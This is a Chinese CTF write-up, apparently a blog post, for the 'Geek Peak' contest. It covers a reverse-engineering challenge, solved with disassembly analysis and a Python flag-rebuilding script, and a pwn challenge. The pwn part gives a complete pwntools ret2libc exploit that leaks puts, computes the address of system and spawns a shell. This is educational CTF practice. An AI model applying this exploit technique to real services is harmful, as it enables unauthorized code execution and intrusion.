欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

极客巅峰

程序员文章站 2022-03-04 19:42:40
...

栗子下载https://github.com/tower111/software.git
Antidbg
搜索字符串找不到关键点,也没有命名很明显的函数。
找导入表看了一下,有GetMessageA函数,跟踪看一下。

void __stdcall __noreturn StartAddress(LPVOID lpThreadParameter)
{
  struct tagMSG Msg; // [esp+8h] [ebp-20h]

  CoInitialize(0);
  SetWinEventHook(1u, 0x7FFFFFFFu, 0, pfnWinEventProc, 0, 0, 2u);
  while ( 1 )
  {
    GetMessageA(&Msg, 0, 0, 0);
    TranslateMessage(&Msg);
  }
}

这里获取到了输入,具体输入是怎么用的,向上找。
定位到了这里
极客巅峰
创建了一个线程,然后进行一些操作。
不能反编译,看汇编吧,用od更一些。
载入之后发现

.text:004011C0                 push    0               ; pvReserved
.text:004011C2                 call    ds:CoInitialize
.text:004011C8                 push    0               ; lpThreadId
.text:004011CA                 push    0               ; dwCreationFlags
.text:004011CC                 push    0               ; lpParameter
.text:004011CE                 push    offset StartAddress ; lpStartAddress
.text:004011D3                 push    0               ; dwStackSize
.text:004011D5                 push    0               ; lpThreadAttributes
.text:004011D7                 call    ds:CreateThread
.text:004011DD                 push    32h
.text:004011DF                 lea     eax, [ebp+Dst]
.text:004011E2                 push    eax
.text:004011E3                 push    offset unk_402128
.text:004011E8                 call    sub_401050
.text:004011ED                 lea     ecx, [ebp+Dst]
.text:004011F0                 add     esp, 0Ch
.text:004011F3                 lea     edx, [ecx+1]

sub_401050函数才是真正的scanf函数。好吧,这些都不重要,看算法。

009E11F6  |> /8A01          /mov al,byte ptr ds:[ecx]
009E11F8  |. |41            |inc ecx                                 ;  ucrtbase.77433041
009E11F9  |. |84C0          |test al,al
009E11FB  |.^\75 F9         \jnz short Antidbg.009E11F6              ;  lenstr
009E11FD  |.  2BCA          sub ecx,edx
009E11FF  |.  83F9 2A       cmp ecx,0x2A                             ;  len==42

求长度,len要=42.

009E1202  |. /0F85 96000000 jnz Antidbg.009E129E
009E1208  |. |0F2805 C0219E>movaps xmm0,dqword ptr ds:[0x9E21C0]
009E120F  |. |33D2          xor edx,edx
009E1211  |. |0F1145 94     movups dqword ptr ss:[ebp-0x6C],xmm0
009E1215  |. |C745 B4 02060>mov [local.19],0x2080602
009E121C  |. |0F2805 B0219E>movaps xmm0,dqword ptr ds:[0x9E21B0]
009E1223  |. |0F1145 A4     movups dqword ptr ss:[ebp-0x5C],xmm0
009E1227  |. |C745 B8 09000>mov [local.18],0x2050009
009E122E  |. |66:C745 BC 02>mov word ptr ss:[ebp-0x44],0xD02
009E1234  |. |56            push esi                                 ;  ucrtbase.774FF0B0
009E1235  |. |66            datasize:
009E1236  |. |66            datasize:
009E1237  |. |66:0f1f8400 0>nop word ptr ds:[eax+eax]

这里进行了赋值,还有一些识别不出来的语句。重要的是赋值,是放到了栈里。一会再看。

009E1240  |> /0FBE7415 C0   /movsx esi,byte ptr ss:[ebp+edx-0x40]    ;  str
009E1245  |. |0FBE8A 78219E>|movsx ecx,byte ptr ds:[edx+0x9E2178]    ;  byte_402178[i]
009E124C  |. |8BC6          |mov eax,esi                             ;  ucrtbase.774FF0B0
009E124E  |. |C1F8 04       |sar eax,0x4                             ;  qu str[i]的高位
009E1251  |. |3B048D 18309E>|cmp eax,dword ptr ds:[ecx*4+0x9E3018]   ;  6,小写字母·到o
009E1258  |. |75 2A         |jnz short Antidbg.009E1284
009E125A  |. |0FBE4415 94   |movsx eax,byte ptr ss:[ebp+edx-0x6C]    ;  1050D02070106010206000B07010C06h【-1】
009E125F  |. |83E6 0F       |and esi,0xF                             ;  取str[i]低字节
009E1262  |. |3B3485 38219E>|cmp esi,dword ptr ds:[eax*4+0x9E2138]   ;  =eax
009E1269  |. |75 19         |jnz short Antidbg.009E1284              ;  0x66='f'
009E126B  |. |42            |inc edx
009E126C  |. |83FA 2A       |cmp edx,0x2A
009E126F  |.^\7C CF         \jl short Antidbg.009E1240

这里进行了验证,一个字符的高4自己和低四字节分开比较。
极客巅峰
这里数据部分是0x02,0x03,0x06,0x07组成的数组。

低4位取的是栈里面的数据

010FFAB0   774FF0B0  ucrtbase.774FF0B0
010FFAB4   07010C06
010FFAB8   0206000B
010FFABC   07010601
010FFAC0   01050D02
010FFAC4   040D0303
010FFAC8   0D000103
010FFACC   02010808
010FFAD0   0100070D
010FFAD4   02080602
010FFAD8   02050009
010FFADC   77410D02  ucrtbase.77410D02

注意最后的0x02,0x0d加上他们才能凑够42个字节。

byte_402178=[  0x02, 0x02, 0x02, 0x02, 0x03, 0x01, 0x01, 0x02, 0x01, 0x01, 
  0x02, 0x01, 0x01, 0x00, 0x01, 0x01, 0x02, 0x02, 0x00, 0x01, 
  0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x02, 0x02, 0x00, 0x01, 
  0x01, 0x02, 0x02, 0x01, 0x01, 0x01, 0x01, 0x01, 0x02, 0x01, 
  0x01, 0x03]
dword_403018=[2,3,6,7]#这里需要注意,数据是动态的,中间出错就有可能是它。

key=[6, 12, 1, 7, 11, 0, 6, 2, 1, 6, 1, 7, 2, 13, 5, 1,
    3, 3, 13, 4, 3, 1, 0, 13, 8, 8, 1, 2, 13, 7, 0, 1,
    2, 6, 8, 2,9,0,5,2,2,0xd]


print key,len(key)


flag=""
for i in range(0x2a):
    h=dword_403018[byte_402178[i]]
    l=key[i]
    flag+=chr(h<<4|l)
    print flag

总结:观察一些特殊函数找关键点。

结合ida,某个数据如果不是定值,中间可能变化(od中跟出来的值在每一次循环中都可能变化)。


pwn

栈溢出漏洞,给了libc库,覆盖返回地址为puts函数,实现泄露。

from pwn import *
elf=ELF("./pwn")
#p=remote("IP",port)
#context.log_level="debug"
#libc=("libc-2.23.so")
libc=ELF("libc.so.6")
name_addr=0x0804A06C
game_addr=0x080485CB


p=process("./pwn")
p.recvuntil("First, what's your name?\n")
p.sendline("1")

p.recvuntil(", do you want to get flag?")

p.sendline("A"*(0x1c+4)+p32(elf.plt["puts"])+p32(game_addr)+p32(elf.got["puts"]))
p.recvline()
data=p.recv(4)
print hex(u32(data))
puts_addr=u32(data)
system_addr=puts_addr-libc.symbols["puts"]+libc.symbols["system"]
print "system_addr="+hex(system_addr)

p.recvuntil("First, what's your name?\n")
p.sendline("//bin/sh\x00")
p.recvuntil(", do you want to get flag?")
p.sendline("A"*(0x1c+4)+p32(system_addr)+p32(game_addr)+p32(name_addr))


p.interactive()
相关标签: ctf